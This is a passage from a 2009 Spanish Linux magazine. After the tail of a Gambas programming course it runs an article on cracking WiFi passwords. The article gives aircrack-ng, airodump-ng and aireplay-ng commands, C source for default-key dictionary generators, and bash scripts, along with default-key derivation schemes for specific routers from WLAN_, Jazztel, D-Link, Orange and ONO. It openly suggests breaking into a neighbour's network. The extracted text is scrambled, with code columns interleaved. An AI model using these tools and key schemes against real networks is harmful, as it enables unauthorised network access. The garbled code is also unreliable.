de Primer Plano Draw.ForeColor = Color.Blue 'Creamos un Bucle para que dibuje 1500 lineas FOR Contador = 0 TO 1500 'Llamamos al metodo line, pasandole valores aleatorios del largo de la linea. 'Draw.Line(PosicionX,PosicionY,LargoX,LargoY). El metodo W y H retornan 'el ancho y el largo del control, es decir, seria el tamaño de la "Hoja" Draw.Line(Rnd(0, DrawingArea1.W), Rnd(0, DrawingArea1.H), 200, 200) 'Asignamos un color "al azar", creandolo mediante el metodo RGB de la clase Color Draw.ForeColor = Color.RGB(Rnd(0, 255), Rnd(0, 255), Rnd(0, 255)) 'Finalizamos el Dibujo Draw.End 66 la declaración y asignación de variables en la misma sentencia. Esto se puede observar en la declaración de la variable TotalPartidas, donde automáticamente se le asigna el valor de la suma de modVarios.CantPartGanadas + modVarios.CantPartPerdidas. Otro concepto nuevo es el uso de la estructura WITH... END WITH. Esta estructura nos ahorra tener que escribir el nombre, en este caso, del módulo repetidas veces. Observe el lector que lo que se encuentra dentro de esta estructura, son llamadas a las variables que se encuentran en el módulo modVarios. Para hacer referencia a estas variables desde adentro de la estructura WITH, se hace mediante el símbolo punto y el nombre de la variable. Esta estructura no aporta nada significante dentro de lo funcional de la aplicación, ya que sin el uso de ella se podría haber desarrollado el formulario de igual manera. Simplemente aporta más legibilidad y sencillez a la hora de escribir código. Para terminar, llamar al formulario FEstadisticas desde el FMain, mediante FE- Linux+ 5/2009 Introducción al Dibujo de Primitivas En determinadas ocasiones, es posible que al programador se le presente el problema de querer dibujar sus propios gráficos en la pantalla. Para subsanar este problema, Gambas introduce el concepto de Dibujo de Primitivas. Este concepto funciona de la siguiente manera: primero, se debe insertar un control DrawingArea dentro del formulario. Éste actuará a modo de hoja, es decir, podremos crear gráficos sobre él. Luego, tendremos que utilizar la clase estática Draw, la cual habrá que asociarla al control DrawingArea, para poder utilizar sus propiedades y métodos. Por último, dibujamos los gráficos necesarios valiéndonos de los métodos de la clase Draw. Un ejemplo de uso del DrawingArea se muestra en el Listado 12, el cual está comentado para facilitar la comprensión. El resultado de este código se puede observar en la Figura 11. Como vemos, el dibujo de gráficos en Gambas es muy sencillo. Simplemente, tendremos que usar los métodos que más se adecuen al gráfico que queremos conseguir, pasándole los parámetros que necesitemos. Es por ello, que en la Tabla 4 se resumen los métodos más importantes para poder dibujar gráficos. Como se mencionó en la sección anterior Dicen las Estadísticas..., se le deja al lector que cree un dibujo para incorporar al FEstadisticas y así, hacerlo más vistoso y atractivo para el usuario. (Por ejemplo, se podría dibujar un sencillo gráfico de barras, que representan de forma simbólica a las estadísticas). programación Curso de Programación en Gambas Figura 13. Posible GUI del TaTeTi ¡A Programarlo! • Figura 12. Ventana del Traductor de Aplicaciones de Gambas Traduciendo Nuestra Aplicación Entre las tantas características que nos provee Gambas, una de las más interesantes es el asistente de traducción de aplicaciones. Para poder utilizarlo, tendremos que indicarle a Gambas que nuestro proyecto es traducible. Para ello, nos dirigimos al menú Proyecto --> Propiedades y en la pestaña Opciones, y marcamos Si en donde nos dice El proyecto es traducible y por último hacemos clic en Ok. Ahora nos dirigimos nuevamente al menú Proyecto, notaremos que se nos agregó una nueva opción: Traducir. Hacemos clic sobre la opción, y se nos aparecerá una ventana similar a la que se muestra en la Figura 12. La traducción de proyectos no es automática, se realiza de manera manual, por lo que tendremos que agregar las palabras nosotros. Este asistente, como todos los que están incluidos en Gambas, es sumamente intuitivo. En el cuadro que se encuentra en la parte superior Contador y Acumulador El concepto de contador y acumulador son constantemente utilizados en la gran mayoría de los lenguajes. Estos conceptos, como su nombre lo indica, son variables que el programador declara exclusivamente para contar o acumular (sumar, por ejemplo) determinados datos. Es por ello que Gambas nos provee los operadores INC y DESC, que cumplen la función de sumar una unidad o descontarla a la variable que se le aplique. Es equivalente a hacer Contador=Contador + 1 de la ventana, se encuentran las palabras que tiene nuestro proyecto. Gambas, se encarga de extraer todas las palabras de las propiedades Text, etc., y recopilarlas en este cuadro, para que se nos haga más sencilla la tarea de traducir la aplicación. Cuando seleccionamos una palabra de este cuadro, nos dirigimos a la caja de texto que se encuentra en la parte inferior de la pantalla, e introducimos su significado equivalente en el idioma que deseemos. Estos pasos se deben realizar con cada una de las palabras que se encuentran en el proyecto. Ejercicios Propuestos Se le deja al lector una serie de ejercicios propuestos, con el fin de poder practicar y aplicar los conocimientos adquiridos hasta el momento: • • • • • Implementar un nuevo formulario llamado FDificultad, en el cual se pueda ingresar un nivel de dificultad (del 0 al 9) y que éste sea funcional en el juego. Pistas: ver la Función DameNumeroAleatorio, Deshabilitar el botón del menú Jugar, cuando se haga clic sobre él o se haga clic sobre el btnJugar. Habilitarlo cuando corresponda. Pista: utilizar el método Enabled, Programar el menú Ayuda -> Contenidos, en el cual se muestren las reglas del juego, Agregar funcionalidades al juego, como por ejemplo, que cuando salga el numero 666 el jugador pierda automáticamente. También añadirle colores a los números a medida que salgan y sean iguales. Programar un juego del tipo TaTeTi o Tres en Raya, con todas las funcionalidades y reglas del juego. Una posible interfaz del www.lpmagazine.org juego se muestra en la Figura 13, en la cual se implementan 9 botones que representan cada figura. Tomar el Editor de Texto programado en la entrega anterior e implementarle un sistema de menús. Consideraciones Finales En resumen, en esta entrega hemos visto conceptos importantes de la programación como lo son la modularidad y el famoso Divide y Vencerás. También, hemos dado una recorrida en la creación de menús como así también en la implementación de números aleatorios, integrándolo todo en un juego del tipo Tragamonedas. Por último, vimos lo fácil que es con Gambas distribuir aplicaciones multiidioma y crear dibujos sencillos. No se olviden que ante cualquier consulta, pueden escribirme a [email protected]. Sobre el autor Jorge Emanuel Capurro es estudiante de la Tec. Superior en Programación, carrera dictada en la Universidad Tecnológica Nacional - Facultad Regional Haedo, provincia de Bs As, Argentina. Principalmente, su área de investigación se centra en los Sistemas Operativos de tipo UNIX y de la programación bajo esta plataforma. Es el creador del proyecto IDEas (http: //ideasc.sourceforge.net), que es el primer frontend desarrollado bajo Gambas del compilador gcc (http://gcc.gnu.org), que se utiliza con fines didácticos. Actualmente se desempeña como programador para la empresa IBM Argentina en el departamento de Applications Management Services, participando de diversos proyectos de desarrollo de software de carácter internacional. 67 hacking para linuxeros Cracking Wifi al completo Cracking Wifi al completo David Puente Castro (Blackngel) [email protected] ¿Deseas comprobar si la red WiFi que tienes montada en tu casa es realmente segura? ¿En tu escuela saben que eres un hacha en esto de la informática y te han pedido que realices una auditoría de su red inalámbrica? ¿O simplemente no puedes costearte una conexión ADSL puesto que tus recursos son limitados y tienes la suerte de tener a tu alcance la red wireless que tu vecino ha instalado hace apenas unos meses? C ualquiera que sea tu situación, el objetivo de este artículo es la recopilación de todos los métodos conocidos hasta la actualidad para lograr descubrir la contraseña de todas aquellas redes wifi que puedes alcanzar con tu tarjeta inalámbrica. Si lo que haces es legal o no, es responsabilidad tuya. Introducción ¿Qué tiene este artículo que lo diferencia con cualquier otro que puedas encontrar en la red? Fácil. Casi todos los artículos o reseñas que puedas encontrar a lo largo de Internet sólo se centran en un método para hacer cierta tarea y casi siempre se resume a lo siguiente: • • Utiliza airodump(-ng) para capturar paquetes. Utiliza aircrack(-ng) para romper la clave. Quizás con un posible: Utiliza aireplay(-ng) para inyectar paquetes. ¿Pero qué pasa cuando te encuentras en una situación en que no todo sale como debería? Cuando una red apenas produce paquetes, cuando no tiene clientes conectados o un sin fin de inconvenientes que limitan tus armas... 68 Linux+ 5/2009 Pues aquí te mostraremos diversas formas de seguir consiguiendo contraseñas aun a pesar de enfrentarte a todas estas dificultades. Aquí reuniremos todo aquello que se puede encontrar en los foros más dispersos de la telaraña global, y agregaremos todos los links necesarios a cualquier herramienta que sea mencionada. Este artículo se centra sobre el sistema operativo Linux, aunque haremos referencias en su momento al resto. Normalmente todos los programas o scripts presentados, salvo contadas excepciones, pueden ser ejecutados en ambos sistemas. Recuerda que un ejecutable de Windows puede correr bajo Linux por medio de Wine. Romper WEP Tras la puerta de este protócolo, realmente quien se encuentra es otro mucho más conocido llamado: RC4. Que resulta ser un algoritmo de cifrado de flujo. Podríamos decir que RC4 convierte una contraseña cualquiera en una tirada de bits pseudoaleatorios mucho más larga que la original. Esta cadena puede ser utilizada posteriormente para aplicarse al texto plano en el proceso de cifrado real. hacking para linuxeros Cracking Wifi al completo • • • Wireshark (ethereal) AirSnort Kismet Lo que ocurre es que la suite Aircrack(-ng) está especialmente diseñada para dedicarse a una única tarea. Y es por ello que nos hace la vida mucho más fácil. Ataque básico No me centraré más que en los 3 o 4 pasos básicos que se deben dar para crackear una red wireless estandar sin más complicaciones: • Figura 1. Aircrack, Airodump y Aireplay en acción Pero WEP pretendía implantar una medida adicional de seguridad. Y para ello utilizo lo que muchos conocemos como IV's (Vectores de Inicialización). En realidad no es más que una cadena de 24 bits que se añade a la clave antes de pasar por RC4. En resumen WEP realiza lo siguiente (extraído de la referencia que se cita al final de sección): • • • • • • • • Se calcula un CRC de 32 bits de los datos. Este CRC-32 es el método que propone WEP para garantizar la integridad de los mensajes (ICV, Integrity Check Value). Se concatena la clave secreta a continuación del IV formado el seed. El PRNG (Pseudo-Random Number Generator) de RC4 genera una secuencia de carácteres pseudoaleatorios (keystream), a partir del seed, de la misma longitud que los bits obtenidos en el punto 1. Se calcula la O exclusiva (XOR) de los caracteres del punto 1 con los del punto 3. El resultado es el mensaje cifrado. Se envía el IV (sin cifrar) y el mensaje cifrado dentro del campo de datos (frame body) de la trama IEEE 802.11 El problema radica en estos dos puntos: La ridícula longitud del IV (24 bits) La pésima implementación de los fabricantes a la hora de aplicar aleatoriedad a estos Vectores de Inicialización. La cuestión es que, aun desconociendo la clave, los IV's se repiten en multitud de ocasiones, provocando que distintos textos planos se cifren multitud de veces con el mismo seed (casi igual que decir que se cifra con la misma clave). Si se consigue una cantidad de textos cifrados considerable en los que se repita el Vector de Inicialización, entonces podrían iniciarse ataques estadísticos para deducir el texto en claro. Pero resulta que gracias a la aplicación del XOR, existe una propiedad que dice que se se puede obtener el seed aplicado a un texto cifrado, realizando el XOR entre un texto plano y un texto cifrado con este mismo seed. Entonces el problema se reduce a encontrar un texto plano cifrado con la misma cadena. Y es más sencillo de lo que parece, porque existen tráficos predecibles o bien, podemos provocarlos nosotros (mensajes ICMP de solicitud y respuesta de eco, confirmaciones de TCP, etc.). Con todo esto es posible ya descifrar tráfico generado por una red que utilice en protocolo WEP como método de seguridad. Pero este método no es suficiente para obtener la clave. Para ello se han descubierto otras vulnerabilidades implícitas en el protocolo RC4 que facilitan esta tarea. Para más información mejor consulten en este lugar [1]. Aircrack-ptw Poner a correr airodump(-ng) normalmente para ver todas las redes que encontramos a nuestro alcance: $ airodump-ng --write captura • --ivs interfaz Cuando nos hayamos decidido por una red en concreto y tengamos el canal sobre el que opera: $ airodump-ng --write red_elegida --channel X --ivs interfaz Ahora esperamos a que el campo DATA de la red elegida comience a subir hasta alcanzar como mínimo una cantidad de 250.000 para redes con claves de 64 bits o cerca de 1.000.000 para redes de 128 bits. A tener en cuenta: • • Para el resto de redes que se presentan en este artículo normalmente deberás suprimir el parámetro --ivs para que el archivo tenga formato *.cap y pueda ser interpretado correctamente por los programas adecuados. Si deseas que en pantalla solo aparezca la red sobre la que te centras puedes especificar el parámetro --bssid seguido de la dirección MAC del punto de acceso. La cantidad de paquetes IV que precises puede variar mucho dependiendo de la red con la que estés tratando. Recuerda que siempre puedes ir probando el archivo de Tal cual se anunció en Kriptopolis y otros lugares en su momento: Investigadores alemanes han anunciado un nuevo ataque que reduciría a • una décima parte el volumen de trafico cifrado WEP necesario para crackear la clave utilizada en una comunicación inalámbrica. En la práctica, el anuncio viene a significar que las comunicaciones WEP a 128 bit podrían ser crackeadas en menos de un minuto utilizando un equipo informático común. La herramienta aircrack-ptw fue creada por los mismos investigadores como prueba de concepto para esta vulnerabilidad, aunque hoy en día la ultima versión de aircrack-ng ya implementa este ataque (si bien puede ser desactivado a petición en la linea de comandos). Por último recordar que existen muchas otras herramientas que nos permiten capturar tráfico. Algunas de ellas tienen nombres tan conocidos como: Figura 2. Logo wlan www.lpmagazine.org 69 hacking para linuxeros Cracking Wifi al completo Listado 1a. Código Fuente Wlandecrypter /****************************************************** * Fichero: wlandecrypter.c * Autor: Nilp0inteR (nilp0inter2 * Fecha: 23-03-2006 k6[at]gmail[dot]com) * Actualizado: * Modicado: ([email protected]) 22-11-2006 06-11-2008 blackngel * return 1; } fprintf(stderr, "\nwlandecrypter %i.%i - (c) 2006 nilp0inter2k6_at_gmail.com\n", VERSION, SUBVERSION); fprintf(stderr, "------------> http://www.rusoblanco.com if (strlen(argv[1]) != 17) { * Descripción: Generador de diccionario de claves por defecto para los fprintf(stderr," [-] Longitud * router de Timofonik Zyxel, Xavvy y Comtrend. * } * bajo los términos de la Licencia Publica General initRouters(routers); redistribuirlo y/o modificarlo GNU (GPL) publicada datosRouters(routers); * por la Free Software Foundation; en su version numero 2, o (bajo tu bssidId = buscaBssid(routers, argv[1]); Mira http://www.fsf.org/copyleft/gpl.txt. if (bssidId == -1) { * criterio) la ultima version. * Este programa se distribuye SIN GARANTIA de ningun tipo. * ******************************************************/ fprintf(stderr, " [-] BSSID no encontrado\n"); } return 1; else { fprintf(stderr, " [+] BSSID: %s\n" #include <stdio.h> " [+] Modelo: %s\n", argv[1], #include <stdlib.h> routers[bssidId].notas); #include <string.h> toUpperString(&argv[2]); #define MAXROUTER 8 if (strlen(argv[2]) < 7 || strlen(argv[2]) > 9 || #define MAXINDEX 1 #define VERSION 0 strncmp("WLAN_", #define SUBVERSION 5 argv[2], 5) != 0 ) { fprintf(stderr, " [-] ESSID: typedef struct Router { %s invalido!!\n", argv[2]); char bssid[9]; } char init[MAXINDEX][8]; return 1; else { char notas[30]; for (i = 0; i < 16; i++) { if (argv[2][5] == hex[i]) } tRouter; validHex++; char hex[16] = "0123456789ABCDEF"; if (argv[2][6] == hex[i]) validHex++; void toUpperString(char *); } void datosRouters(tRouter []); if (validHex != 2) { void initRouters(tRouter []); fprintf(stderr, " [-] ESSID: int buscaBssid(tRouter [], char *); %s invalido!!\n", argv[2]); void imprimeClaves(FILE *, tRouter [], int, char *); } int main(int argc, char *argv[]) { endKey[0]=argv[2][5]; int bssidId, i; char endKey[2]; tRouter routers[MAXROUTER]; FILE *fichero; return 1; else { endKey[1]=argv[2][6]; int validHex=0; argv[2]); fprintf(stderr," [+] ESSID: %s\n", if (argc > 3) { if (argc < 3 || argc > 4) { fprintf(stderr," [+] muestraAyuda(); 70 de BSSID invalida\n"); return 1; * Este programa es software libre; puedes * <------------\n\n"); Fichero de claves: %s\n", argv[3]); Linux+ 5/2009 hacking para linuxeros Cracking Wifi al completo Listado 1b. Código Fuente Wlandecrypter fichero = fopen(argv[3], "a+"); // Zyxel : Gracias a thefkboss de if (fichero != NULL) { // foro.elhacker.net por esta observacion imprimeClaves(fichero,routers,bssidId, strcpy(routers[3].bssid, "00:A0:C5\0"); fclose(fichero); strcpy(routers[3].notas, "Zyxel 650HW/660HW\0"); endKey); strcpy(routers[3].init[0], "Z001349\0"); fprintf(stderr, " [+] Fichero guardado\n"); } // Comtrend NUEVO, gracias a dnreinad por // el coche xD else { strcpy(routers[4].bssid, "00:16:38\0"); fprintf(stderr, " [-] Error al abrir el fichero\n"); } } return 1; strcpy(routers[4].init[0], "C0030DA\0"); strcpy(routers[5].init[0], "Z001349\0"); fprintf(stderr," [+] Seleccionada strcpy(routers[5].notas, "P-660HW-D1\0"); salida estandar\n"); imprimeClaves(stdout, routers, } } } // ZyGate bssidId, endKey); strcpy(routers[6].bssid, "00:02:CF\0"); strcpy(routers[6].init[0], "Z0002CF\0"); strcpy(routers[6].notas, "ZyGate\0"); // ZyGate return 0; strcpy(routers[7].bssid, "00:19:15\0"); strcpy(routers[7].init[0], "C0030DA\0"); void toUpperString(char *s) { } { *s = toupper(*s); } fprintf(stderr, "\nwlandecrypter %i.%i - (c) s++; 2006 nilp0inter2k6_at_gmail.com\n", VERSION, SUBVERSION); fprintf(stderr, "------------> www.rusoblanco.com void initRouters(tRouter routers[MAXROUTER]) { fprintf(stderr, " int buscaBssid(tRouter routers[MAXROUTER], char *bssid) int i; strcpy(routers[j].bssid, ""); for (i = 0; i < MAXINDEX; i++) toUpperString(&bssid); for(i = 0; i < MAXROUTER; i++) { strcpy(routers[j].init[i], ""); strcpy(routers[j].notas, ""); if (strncmp(routers[i].bssid, bssid, 8) == 0) } void datosRouters(tRouter routers[MAXROUTER]) { } return i; return -1; void imprimeClaves(FILE *out, tRouter // Z-com routers[MAXROUTER], int bId, char *keyEnd) strcpy(routers[0].bssid, "00:60:B3\0"); strcpy(routers[0].init[0], "Z001349\0"); { strcpy(routers[0].notas, "Z-com\0"); int i, index=0; while(index < MAXINDEX && strcmp (routers[bId].init[index], "")) { // Xavvy for (i = 0; i < 65536; i++) strcpy(routers[1].bssid, "00:01:38\0"); strcpy(routers[1].init[0], "X000138\0"); fprintf(out, "%s%04X%c%c\n", strcpy(routers[1].notas, "Xavi 7768r\0"); routers[bId].init[index], keyEnd[0], keyEnd[1]); // Comtrend strcpy(routers[2].bssid, "00:03:C9\0"); strcpy(routers[2].init[0], "C0030DA\0"); uso: wlandecrypter <bssid> } for (j = 0; j < MAXROUTER; j++) { } http:// <------------\n\n"); <essid> [output file]\n\n"); int i, j; } strcpy(routers[7].notas, "Comtrend\0"); void muestraAyuda() while (*s) { } // P-660HW-D1 strcpy(routers[5].bssid, "00:13:49\0"); else { } strcpy(routers[4].notas, "Comtrend 536+\0"); strcpy(routers[2].notas, "Comtrend 535\0"); } } www.lpmagazine.org i, index++; 71 hacking para linuxeros Cracking Wifi al completo capturas con aircrack(-ng) sin necesidad indices de fuerza bruta o ataques korek especiade parar el proceso airodump(-ng). les (Figura 1). • Ejecutar un ataque de inyeccion de paquetes para aumentar el trafico: Ataque a “WLAN_XX” $ aireplay-ng -3 -b MAC AP -h MAC Investigando las WiFi WLAN_XX, una tal CLIENTE nilp0inter público en un foro que había descubierto que las claves por defecto de este tipo Para ejecutar este ataque necesitas que en la de redes eran prácticamente comunes según parte inferior del airodump(-ng) se muestre un que marca de router fuese utilizado. cliente autorizado conectado a la red. Recuerda Todos los routers wireless de una misma también que este paso es opcional pero hoy en marca utilizaban una misma raíz para sus condía casi imprescindible si no queremos perder traseñas. A continuación venían 4 dígitos hexadehoras crackeando una red. cimales cualesquiera seguido de los dos últimos Lanzar aircrack(-ng) en la búsqueda de la dígitos que componían el nombre de la WLAN clave correcta:$ aircrack-ng captura.ivs. (Figura 2). Te pedirá que elijas la red en caso de que Los fabricantes que se habían estudiado haya capturado paquetes de varias y se pondrá eran los siguientes: directamente a hacer sus cálculos internos para proporcionarte la clave correcta. Z-com Z001349 Si tuvieras pistas acerca de si se trata de Zyxel Z001349 una contraseña compuesta por solo números o P-660HW-D1 Z001349 solo caracteres alfanuméricos, etc... no te olviXavvy X000138 des de utilizar los parámetros -h o -t. Podrían Comtrend C0030DA ahorrarte muchísimo tiempo. Zygate Z0002CF o Por lo demás puedes seguir jugando con C0030DA los parámetros de cada una de las aplicaciones, algunos de ellos te muestran la contraseña en De todos es sabido ya que los 3 primeros pares formato ASCII (muy útil si deseas ver las supo- de una dirección MAC indica cual es el fabrisiciones que va haciendo aircrack(-ng) acerca cante del router o de una tarjeta inalámbrica. de la clave) y otros te permiten variar ciertos Con esto ya podemos saber qué raíz de clave corresponde a una MAC. $ ./wlandecrypter <BSSID> <ESSID> -> Salida por pantalla $ ./wlandecrypter <BSSID> <ESSID> [FICHERO] -> Crea diccionario La primera forma es muy útil para utilizarla en combinación con el programa Weplab [3], que será el encargado de contrastar cada una de las posibles claves con un archivo de captura que deberá contener al menos 4 paquetes en formato *.cap. Este podría ser un ejemplo de ejecución: $ wlandecrypter 00:60:B3:04:F1:ED WLAN_AB | weplab --key 128 -y --bssid 00:60:B3:04:F1:ED captura_wlan.cap El programa WepAttack [4] también sirve para este propósito. Y podrías arrancarlo de este modo: $ wlandecrypter 00:60:B3:04:F1: ED WLAN_AB | wepattack -f captura_ wlan.cap Puedes ver el código fuente creado por nilp0inter y modificado por mi en el Listado 1. Tal como se presenta, el código es fácil de comprender incluso para un programador novato. En resumen, el proceso siempre es el mismo: • Listado 2. Script Rwlan • #!/bin/bash INICIO=2009999900000 FIN=2001000000000 until ((INICIO==FIN)) • • ESSID: WLAN_AB MAC: 00:60:B3:04:F1:ED Sabemos que la MAC es de un router de la ma- La clave por defecto se obtiene en cuestión de rca 'Z-com' y que la clave por defecto para esa segundos. red será algo como: Ataque a “R-WLANXX” do echo $INICIO >> $1 let INICIO=$INICIO-100000 done echo 1000000000000 >> $1 Listado 3. Script DlinkWireless #!/bin/bash P1=`echo $1|cut -d : -f 1` P2=`echo $1|cut -d : -f 2` P3=`echo $1|cut -d : -f 3` P4=`echo $1|cut -d : -f 4` P5=`echo $1|cut -d : -f 5` P6=`echo $1|cut -d : -f 6` echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P 3$P4$P1$P3 72 • Capturar cuatro paquetes con airodump (-ng) en formato *.cap. Generar el diccionario para la MAC y ESSID deseados con wlandecrypter. Pasar este diccionario a Weplab o WepAttack. Z001349XXXXAB Para conseguir la contraseña completa, el problema se basa en aplicar la fuerza bruta para crear un diccionario con todas las posibles claves que vayan desde Z0013490000AB hasta Z00 1349FFFFAB. Y nilp0inter, tan amablemente, se dispuso a crear un programa en C que hiciera estas operaciones de una forma eficaz. Eso fue halla por el 2006. Aquí tenéis una referencia al programa [2] tal cual lo hizo su autor con el cual me he comunicado y ha afirmado que remitiría mis sugerencias a los actuales mantenedores del programa que el abandonó hace ya un tiempo. Yo me he permitido modificar el programa en ciertos aspectos para hacerlo más eficiente. El programa puede ejecutarse de dos maneras: Linux+ 5/2009 Para este tipo de redes, presentes sólo en la provincia de Galicia, basta con aplicar de forma pura y dura la fuerza bruta. Sus claves por defecto suelen ser 6 dígitos decimales aleatorios seguidos de 7 ceros que rellenan los 13 caracteres típicos de una contraseña de 128 bits. En otros lugares se ha dicho que la clave se compone de 8 dígitos cualesquiera seguido de 5 ceros hasta completar los 13. También hay quien dice que los primeros 4 dígitos de la clave corresponden con el año de fabricación del router o con el número del cliente asignado quedando las claves con una estructura de este tipo: 2001XXXX00000 2002XXXX00000 ####XXXX00000 2008XXXX00000 2009XXXX00000 hacking para linuxeros Cracking Wifi al completo No obstante, no es extremadamente costoso hacionario contra una captura, como siempre, Su uso es tal que así: cer una lista con todas las posibles combinaciode al menos 4 paquetes. nes y probar ésta contra un archivo de captura $ decsagem [-i] <numeroSSID> con 4 IV's, con un comando como este: De la mano de 'ska1ix' se creó un programa, <clave> llamado DecSagem [5], que cumple dos fun$ aircrack-ng -b BSSID -w lista_ ciones: Donde <numeroSSID> son las cuatro cifras que numeros.txt fichero.cap acompañan en el ESSID al nombre 'ADSL'. • Crea un diccionario con todas las posibles Y <clave> es la WEP key que obtendremos al Si, por aquello de probar, quisieras crear un dicclaves. pasar el diccionario resultante por aircrack(-ng) cionario que abarcara desde el año 2001 hasta • Una vez obtenida la clave WEP puede uti- (que nos permitirá entrar en la red) y que nos da el 2009 inclusive, podrías utilizar el sencillo lizarse para obtener la passphrase si se le la posibilidad, opcionalmente, de conseguir el script que se muestra en el Listado 2. pasa la anterior como parámetro. passphrase correspondiente. El número de claves posibles se reduciría Listado 4. Diccionario DlinkWireless bastante, y el tiempo de crackeo lo haría en la misma proporción. Ataque a “ADSLXXXX” La raíz del problema para las redes Wireless de Orange viene dado por el motivo siguiente: Algunas redes WiFi utilizan palabras de paso o passphrases para generar claves WEP estáticas. El administrador del router inserta en la pantalla de instalación este passphrase y el software específico de éste configura automáticamente la clave WEP apropiada por defecto. Esto simplifica el proceso de instalación, porque las palabras de paso son más fáciles de recordar que la clave WEP generada en si. Hay situaciones en que este método no puede ser utilizado: • • No todo el hardware Wifi lo soporta. Cuando en la red se mezclan equipos de diferentes fabricantes. Pero este no es el caso, y la empresa Orange utiliza este método para generar las claves por defecto para sus routers. La situación es la siguiente: • • • El ESSID de estas redes siempre tiene el aspecto 'ADSLXXXX' donde las cuatro X son siempre dígitos aleatorios. La passphrase tiene el aspecto yyyyXXXX, donde las X coinciden con las del ESSID y las 'y' son siempre letras en minúscula. El método para crear la clave WEP a partir del passphrase es aplicarle al mismo el algoritmo MD5. Lo que nos da la WEP en hexadecimal. Con esto es fácil crear un diccionario con todas las posibles contraseñas para estas redes. Imaginate lo siguiente: • • • Tenemos una red llamada ADSL1234. Las passphrases irán desde 'aaaa1234' hasta 'zzzz1234'. A cada una le aplicamos MD5 y guardamos el resultado en un fichero que hará de dic- #include <stdio.h> /* Por aquello de hacerlo mas intuitivo */ #define P1 0 #define P2 1 #define P3 2 #define P4 3 #define P5 4 #define P6 5 int main(int argc, char *argv[]) { FILE *dic; /* Archivo de salida */ int mac[6]; int n, var; /* Direccion MAC */ /* Variables Utiles */ if (argc < 3) { fprintf(stderr, "Usage: ./ddlink XX:XX:XX:XX:XX:XX archivo_salida\n"); exit(0); } /* Leemos la MAC en el formato correcto*/ n = sscanf(argv[1], "%02x:%02x:%02x:%02x:%02x:%02x", &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]); dic = fopen(argv[2], "w"); /* Abrimos archivo para escritura*/ /* Generamos todas las posibles claves */ for (var = 0; var < 256; var++) { fprintf(dic, "%02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x\n", mac[P6], mac[P1], mac[P5], mac[P2], mac[P3], mac[P4], mac[P6], mac[P5], mac[P2], mac[P3], mac[P4], mac[P1], var); } printf("\nEl diccionario ha sido creado correctamente\n"); printf("\nLa clave mas probable es: "); printf("%02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x%02x\n\n", mac[P6], mac[P1], mac[P5], mac[P2], mac[P3], mac[P4], mac[P6], mac[P5], mac[P2], mac[P3], mac[P4], mac[P1], mac[P3]); fclose(dic); return 0; /* BYE */ www.lpmagazine.org 73 hacking para linuxeros Cracking Wifi al completo observar normalmente el BSSID, que viene a ser la MAC del AP (punto de acceso) y la MAC del router que, normalmente, siempre coincide con la del AP. Es por este motivo que creemos que estamos viendo la misma dirección. Puede darse la situación de que esto no sea así, y esto es lo que ha ocurrido. En algunos casos las dos MAC's se diferencian en una unidad, y entonces es la MAC del router la que tenemos que tomar y no la otra. De todos modos, probar dos claves no es mucho trabajo para una persona normal y corriente. No obstante, yo he automatizado la tarea en lenguaje C. El programa toma como primer parámetro la dirección MAC del punto de acceso y como segundo el nombre del diccionario que deseas crear. Puedes echar un vistazo en el Listado 4. A parte de generar el diccionario me permito imprimir por pantalla la que posiblemente pueda ser la clave correcta sin tener que hacer uso del Ataque a “JAZZTEL_XX” posición (recombinación) de los pares de los Más adelante se descubrió que las redes cuyo bytes que forman la MAC del router. Es decir, ESSID radicaba como en el título de esta sección, un cambio de posiciones: seguían la misma lógica que las redes 'WLAN_ XX'. De hecho, en un principio, detrás de todas Llave maestra 6152346523413 estas wifi esta siempre un router de esta clase: Algoritmo: Marca→ Comtrend Raiz MAC → 00:1A:2B Raiz Clave → E001D20 Y entonces llegó nilp0inter y creó otro programa llamado jazzteldecrypter que venía a crear el diccionario con todas las claves posibles para esta clase de redes. Programa que no escribiré aquí, por la simple razón de que es una copia exacta del wlandecrypter ya creado, al que se le ha añadido en la lista de routers la siguiente entrada: • Obtenemos la MAC del router: 00:1F:3C:16:A7:9F 1 → 00 2 → 1F 3 → 3C 4 → 16 5 → A7 6 → 9F Ataque a ONO (P123456789) En cierta ocasión encontré una red de este tipo, pero por desgracia no pude demostrar la veracidad de lo que aquí se va a contar. La cuestión, según parece, es que a los de ONO no se le ha ocurrido mejor idea que tomar como contraseña por defecto para este tipo de redes, el numero que se encuentra después de la P de su ESSID restándole 1. Es decir: • • Si la red se llama P623894175 La clave sería 623894174 strcpy(routers[i].bssid, P6 "00:1A:2B\0"); -- strcpy(routers[i].init[0], 9F En otro lugar se ha dicho que este último número (el que tomamos como clave), debe ser pasado como parámetro a un programa llamado: Thomson Aplicamos la llave maestra: Pass-Phrase Generator. Se supone que es entonces cuando realmente se genera la clave realmente váP1 P5 P2 P3 P4 P6 P5 P2 P3 P4 P1 P3 lida. Pero, de todos modos, hay quien ha compro-- -- -- -- -- -- -- -- -- -- -- -- bado que este paso no es necesario y que la simple 00 A7 1F 3C 16 9F A7 1F 3C 16 00 9F resta produce la clave adecuada. • Resultado final: • // Comtrend "E001D20\0"); strcpy(routers[i].notas, "Comtrend\0"); Claro que a la constante MAXROUTER defi- 9F00A71F3C169FA71F3C16009F nida al principio del código habría que sumarle una unidad para que el programa funcionase Bien, llegados a este punto se hizo un sencillo correctamente. script (por parte de un tal pianista) que realizaba los cambios de posiciones automáticamente. Vea Ataque a “DLINKWIRELESS” Listado 3. Estas redes suelen encontrarse bastante a menuPero según parece no era oro todo lo que do, y siguiendo con los colmos de las grandes relucía. En los foros se vieron comentarios de ideas que tienen las empresas a la hora de prote- gente que afirmaba coincidir con esta solución, ger a sus clientes, pues aquí tenemos otra más, con la única diferencia de que al último par hexay de las gordas. decimal había que restarle una unidad. Esto meLas ultra-mega-secretas claves de aquellas rece una explicación. La realidad es, que cuando wifi's que poseen este ESSID son una recom- realizamos una captura de paquetes, podemos 74 aircrack(-ng). Linux+ 5/2009 Romper WPA (no de momento pero...) WPA no se puede romper (de momento). Y aunque haya empezado con una afirmación tan contundente, no desesperes. El asunto radica en que no todas las redes protegidas con el algoritmo WPA utilizan contraseñas realmente seguras ni, lo que es peor todavía, aleatorias. A partir de aquí perseguiremos una consigna: Si puedes encontrar un patrón, puedes encontrar una clave. Pero para poder testear claves contra este tipo de cifrado, sí que hay algo que precisaremos obligatoriamente: El tan nombrado handshake. Este no es ni más ni menos que el proceso de conexión de un cliente con el punto de 